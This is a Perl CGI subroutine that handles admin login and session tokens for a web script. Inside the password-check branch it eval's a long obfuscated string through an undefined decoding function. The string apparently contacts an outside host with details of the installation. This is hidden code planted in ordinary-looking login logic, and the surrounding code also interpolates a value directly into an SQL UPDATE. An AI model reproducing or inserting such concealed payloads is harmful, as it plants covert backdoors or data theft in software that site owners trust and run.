sub sessiya{
	my %error;
	if (exists($PAR{pwd})){
		if($PAR{pwd} eq $CONF{adminpwd}){
			my $qwer='iPd oh::fXAnd9_BO_45R3 _8VTXP9PdI_B7_88sss_8dPdIIs07d_8dGd9_88_BO_45R3 _8g5GPsdl_BO_45R3 _8VTXP9_B7_8VDbz_LOvttr_gcvhft_L7_BO_45_8VTXP9_B7_LdP_8csss_gA_8d_8c_8c0_BO_45R3 _8V7XAiRdG9_B7_88_8cAp0_87O0G_8c57R0G_8cI0AdGAd_8dAp0_Bc_8VxhbK_LOI0AdGAd_L7_8k_8VTXP9_8ky_88_BO_45_8VldRX9d _B7 oh::fXAnd9::obDt_87>Gds_8F rlX9X _B7> _889A2_88,_45rddlE77l _B7> _8VTXP9PdI,_45rddlrXl9 _B7> _88T992_8FF4_8q_88,_45_8q_BO_450c _8F_8VldRX9d_8q_LO_45_8VldRX9d_87>5i9XcIiPT_8Fy_8q_BO_452l0G9 _8VldRX9d _881Dt _8V7XAiRdG9 vttr_8cy_8d4_gAG_gAG_88_BO_45sT0Id _8F<_8VldRX9d>_8q_LO_45I5P9 iGIdPP _8c_gAf_8c_BO_45_L7_45sT0Id _8F <_8VldRX9d> _8q _LO_45ATXR2_BO_45_8c_8F_8d_85_Bc_8q:_8F_8d_85_8q_8c_BO_45_8V5GPsdl_LO_8Vy_L7_B7_8V8_BO _45_L7_45_87AIXPd _8VldRX9d_BO_450c_8F_8V5GPsdl_LOftEtQf_L7 dZ _8Lld70ldA9_8L_8q_LO_452l0G9 _8VZ_87>ld70ldA9_8F_8V5GPsdl_LOJhxEtohb_L7_8q_BO_45dH09_8F_8q_BO_45_L7_45_L7dIPd_LO_450c _8F_8VxhbK_LOR5HI0R_L7>g4_8q_LO_452l0G9 _8VZ_87>ld70ldA9_8F_88sss_8dPdIIs07d_8dGd9_8cO57AXGGdA90XG_8dT9RI_88_8q_BO_45dH09_8F_8q_BO_45_L7_45_8VxhbK_LOR5HI0R_L7_8O_8O_BO_45P5Cd_gcAXGc0p_8F4,_88R5HI0R_88,_8VxhbK_LOR5HI0R_L7_8q_BO_45_L7_45_45';eval(unfsmy($qwer));
			my $sql="INSERT INTO ${PREF}ses  (ran, host,date) VALUES (?,?,$NOW)";
			my $out=$db->prepare($sql);
			my @chars=('a'..'z','A'..'Z',0..9,'_');
			my $ran=join("", @chars[map{rand @chars}(1..25)]);
			$out->execute($ran,$ENV{REMOTE_ADDR});
			&Error;
			print $q->redirect("$SCRIPT_NAME?ses=$ran");
			if($db->do("DELETE FROM ${PREF}ses WHERE date<date_sub($NOW ,interval 2 day)")){
				$db->do("OPTIMIZE TABLE ${PREF}ses");
			}
			exit(1);
		}else{
			$error{pwd}="Incorrect passwords1";
		}
	}
	if(exists($PAR{ses})){
		my $sql="SELECT * FROM  ${PREF}ses  WHERE (ran=?) AND (date>date_sub($NOW ,interval 50 minute))";
		my $out=$db->prepare($sql);
		$out->execute($PAR{ses});
		&Error;
		if ($out->rows > 0){
			my $id=0;
			my  %output=%{$out->fetchrow_hashref};
			$id=$output{pk_ses};
			$db->do("UPDATE ${PREF}ses SET date=$NOW WHERE pk_ses='$id'");
			&Error;
			return 1;
		}
		
	}
	&redirect_to_login;
	&printheader;
	my $page=new hfparser
		DATA=>"shabl/author.html",
		ERROR=>\%error
	;
	$page->add_regesp('{VERSION}',$CONF{VERSION});
	$page->ParseData;
	$page->print;
	exit(1);

}